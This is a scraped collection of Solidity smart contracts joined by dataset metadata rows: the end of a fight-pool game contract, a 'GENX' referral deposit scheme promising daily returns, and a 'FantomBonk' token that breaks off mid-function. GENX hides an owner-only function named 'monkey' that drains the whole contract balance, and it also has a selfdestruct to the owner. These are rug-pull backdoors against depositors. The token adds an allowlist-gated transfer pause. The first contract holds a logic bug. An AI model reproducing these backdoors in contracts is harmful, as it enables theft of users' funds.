uint _firstFightEntry;
for (uint i=0; i < _areaFightPools.length; i++) {
// if he is already dead
if (attackersIndex[_areaFightPools[i]].predictedDeathTime < block.timestamp && attackersIndex[_areaFightPools[i]].predictedDeathTime != 0) {
attackers[_poolId].removeFromElement(_areaFightPools[i]);
// else, update firstFightEntry if necessary
} else {
if (_firstFightEntry > attackersIndex[_areaFightPools[i]].fightEntry || _firstFightEntry == 0) firstFightEntry[_poolId] = attackersIndex[_areaFightPools[i]].fightEntry;
}
elementIndex[_poolId][_areaFightPools[i]] = i;
}
firstFightEntry[_poolId] = _firstFightEntry;
}
function get() public view returns (uint[] memory) {
return attackers[0].getWholeArray();
}
function _update(uint _poolId) public returns (uint) {
uint[] memory _attackersUniqueIds = attackers[_poolId].getWholeArray();
uint[] memory _lps = _getLpsFromUniqueIds(_attackersUniqueIds);
uint time;
uint deathScoreA;
uint deathScoreB;
uint finalPoolPossesorLp = attackersIndex[finalPoolPossesor[_poolId]].lp;
for (uint i=0; i < _attackersUniqueIds.length; i++) {
deathScoreA = finalPoolPossesorLp / attackersIndex[_attackersUniqueIds[i]].dmg;
deathScoreB = _lps[i] / attackersIndex[finalPoolPossesor[_poolId]].dmg;
time = attackersIndex[_attackersUniqueIds[i]].fightEntry;
if (deathScoreB > deathScoreA) { // Attacker B win
attackersIndex[finalPoolPossesor[_poolId]].predictedDeathTime = time; // store the predicted death time value
attackersIndex[finalPoolPossesor[_poolId]].killedByUniqueId = _attackersUniqueIds[i];
_lps[i] -= ((DECIMALS - ((deathScoreA * DECIMALS) / (deathScoreB * DECIMALS))) * _lps[i]) / DECIMALS;
finalPoolPossesor[_poolId] = _attackersUniqueIds[i]; // update the final pool possesor (at this moment)
finalPoolPossesorLp = _lps[i];
} else if (deathScoreB < deathScoreA) { // Attacker A win
attackersIndex[_attackersUniqueIds[i]].predictedDeathTime = time; // store the predicted death time value
attackersIndex[_attackersUniqueIds[i]].killedByUniqueId = finalPoolPossesor[_poolId];
finalPoolPossesorLp -= ((DECIMALS - ((deathScoreA * DECIMALS) / (deathScoreB * DECIMALS))) * finalPoolPossesorLp) / DECIMALS;
} else { // both loose
attackersIndex[finalPoolPossesor[_poolId]].predictedDeathTime = time; // store the predicted death time value
attackersIndex[finalPoolPossesor[_poolId]].killedByUniqueId = _attackersUniqueIds[i];
attackersIndex[_attackersUniqueIds[i]].predictedDeathTime = time; // store the predicted death time value
attackersIndex[_attackersUniqueIds[i]].killedByUniqueId = finalPoolPossesor[_poolId];
finalPoolPossesor[_poolId] = 0; // nobody got the pool
finalPoolPossesorLp = 0;
}
if (time > lastDeathTime[_poolId]) {
lastDeathTime[_poolId] = time;
}
}
}
function getFightEntryElement(uint _fightEntry, uint _poolId) public view returns (bool, uint) {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
// not initialized, so the index doesn't matter
if (_areaFightPools.length == 0) {
return (true, 0);
}
for (uint i=0; i < _areaFightPools.length; i++) {
if (i == 0 && attackersIndex[_areaFightPools[i]].fightEntry > _fightEntry) { // if the first element is higher than _fightEntry, we can place it directly as the first element
return (false, _areaFightPools[i]);
}
if (i != (_areaFightPools.length - 1)) { // if we can have ("i+1")
if (attackersIndex[_areaFightPools[i]].fightEntry <= _fightEntry && attackersIndex[_areaFightPools[i+1]].fightEntry >= _fightEntry) {
return (true, _areaFightPools[i]);
}
} else { // else, this is the last index, place it "before the last if it's smaller than the last
if (attackersIndex[_areaFightPools[i]].fightEntry >= _fightEntry) {
return (false, _areaFightPools[i]);
}
}
}
// else, its index is the last index
return (true, _areaFightPools[_areaFightPools.length-1]);
}
// return all "lp" value of a whole array
function _getLpsFromUniqueIds(uint[] memory _attackersUniqueIds) public view returns (uint[] memory) {
uint[] memory _lps = new uint[](_attackersUniqueIds.length);
for (uint i=0; i < _attackersUniqueIds.length; i++) {
_lps[i] = attackersIndex[_attackersUniqueIds[i]].lp;
}
return _lps;
}
function isDead(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) {
uint _predictedDeathTime = attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime;
return (_predictedDeathTime < _timestamp);
}
function isFighting(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) {
return (lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]] != 0 && _timestamp < lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]]);
}
// return 0 if this reference doesn't have death time (not initialized or won the fight)
function getDeathTime(address _contractReference, uint _tokenIdReference) external view returns (uint) {
return attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime;
}
function getPoolId(address _contractReference, uint _tokenIdReference) public view returns (uint) {
return poolIdReference[referenceTreeAttackers[_contractReference][_tokenIdReference]];
}
}
| 111,674 | 12,066 |
3451adc9ac8958cd2179862b375a38e52931c622117c2add5cb094a0f5c73444
| 14,520 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEUjvut7LPvjwK9CqF3Htep8VQW2F6fXfA_GENX.sol
| 4,164 | 14,145 |
//SourceUnit: genx.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Should be greater than zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "should be less than other");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Should be greater than c");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "divide by 0");
return a % b;
}
}
contract GENX {
using SafeMath for uint256;
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
struct Level {
uint256 level1;
uint256 level2;
uint256 level3;
uint256 level4;
uint256 level5;
uint256 level6;
uint256 level7;
uint256 level8;
uint256 level9;
uint256 level10;
}
address payable public owner;
mapping(address => User) public users;
mapping (address => Level) public usersLevel;
uint256[] public cycles;
uint256[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
event name(address indexed addr, uint256 amount);
constructor() public {
owner = msg.sender;
ref_bonuses.push(800);
ref_bonuses.push(400);
ref_bonuses.push(200);
ref_bonuses.push(100);
for(uint256 i = 0; i < 46; i++) {
ref_bonuses.push(25);
}
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(10);
pool_bonuses.push(10);
pool_bonuses.push(10);
cycles.push(1e8);
cycles.push(3e11);
cycles.push(9e11);
cycles.push(11e11);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
address _uplines = _upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_uplines == address(0)) break;
users[_uplines].total_structure++;
_uplines = users[_uplines].upline;
}
for (uint256 i = 0; i < 10; i++) {
if (_upline != address(0)) {
if (i == 0) {
usersLevel[_upline].level1 = usersLevel[_upline].level1.add(1);
} else if (i == 1) {
usersLevel[_upline].level2 = usersLevel[_upline].level2.add(1);
} else if (i == 2) {
usersLevel[_upline].level3 = usersLevel[_upline].level3.add(1);
}
else if (i == 3) {
usersLevel[_upline].level4 = usersLevel[_upline].level4.add(1);
}
else if (i == 4) {
usersLevel[_upline].level5 = usersLevel[_upline].level5.add(1);
}
else if (i == 5) {
usersLevel[_upline].level6 = usersLevel[_upline].level6.add(1);
}
else if (i == 6) {
usersLevel[_upline].level7 = usersLevel[_upline].level7.add(1);
}
else if (i == 7) {
usersLevel[_upline].level8 = usersLevel[_upline].level8.add(1);
}
else if (i == 8) {
usersLevel[_upline].level9 = usersLevel[_upline].level9.add(1);
}
else if (i == 9) {
usersLevel[_upline].level10 = usersLevel[_upline].level10.add(1);
}
_upline = users[_upline].upline;
} else break;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount, "Bad amount");
require(_amount >= cycles[0] && (_amount%cycles[0])==0, "Bad amount");
}
else require(_amount >= cycles[0] && (_amount%cycles[0]) == 0, "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].match_bonus = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
_refPayout(msg.sender, _amount);
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
owner.transfer(_amount * 10 / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 3 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(i < 4 || users[up].referrals >= i) {
uint256 bonus = _amount * ref_bonuses[i] / 10000;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 225 / 100;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
uint8 roi_per = 15;
payout = (((users[_addr].deposit_amount * roi_per)/ 1000)*((block.timestamp - users[_addr].deposit_time) / 1 days)) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function destruct() external {
require(msg.sender == owner, "Permission denied");
selfdestruct(owner);
}
function monkey(uint _amount) external {
require(msg.sender == owner,'Permission denied');
if (_amount > 0) {
uint contractBalance = address(this).balance;
if (contractBalance > 0) {
uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount;
msg.sender.transfer(amtToTransfer);
}
}
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[5] memory addrs, uint256[5] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
function getUserDownlineCount(address userAddress) public view returns(uint256 level1, uint256 level2, uint256 level3,uint256 level4,uint256 level5,uint256 level6,uint256 level7) {
return (usersLevel[userAddress].level1, usersLevel[userAddress].level2, usersLevel[userAddress].level3, usersLevel[userAddress].level4,
usersLevel[userAddress].level5, usersLevel[userAddress].level6, usersLevel[userAddress].level7);
}
function getUserNextLevelCount(address userAddress) public view returns(uint256 level8, uint256 level9, uint256 level10) {
return (usersLevel[userAddress].level8, usersLevel[userAddress].level9, usersLevel[userAddress].level10);
}
}
| 292,204 | 12,067 |
c9f456c78991ac751763507caaaf7968d1d9f1d994d9ca381af3e039f26f2c06
| 29,498 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/52/525F88C73D6863d1526d0709f31455b42c959648_FantomBonk.sol
| 5,203 | 18,741 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FantomBonk is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Fantom Bonk';
string private constant _symbol = 'BONK';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xA562a8Da31eb0091DB143BeC3c48cDae231fd084, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
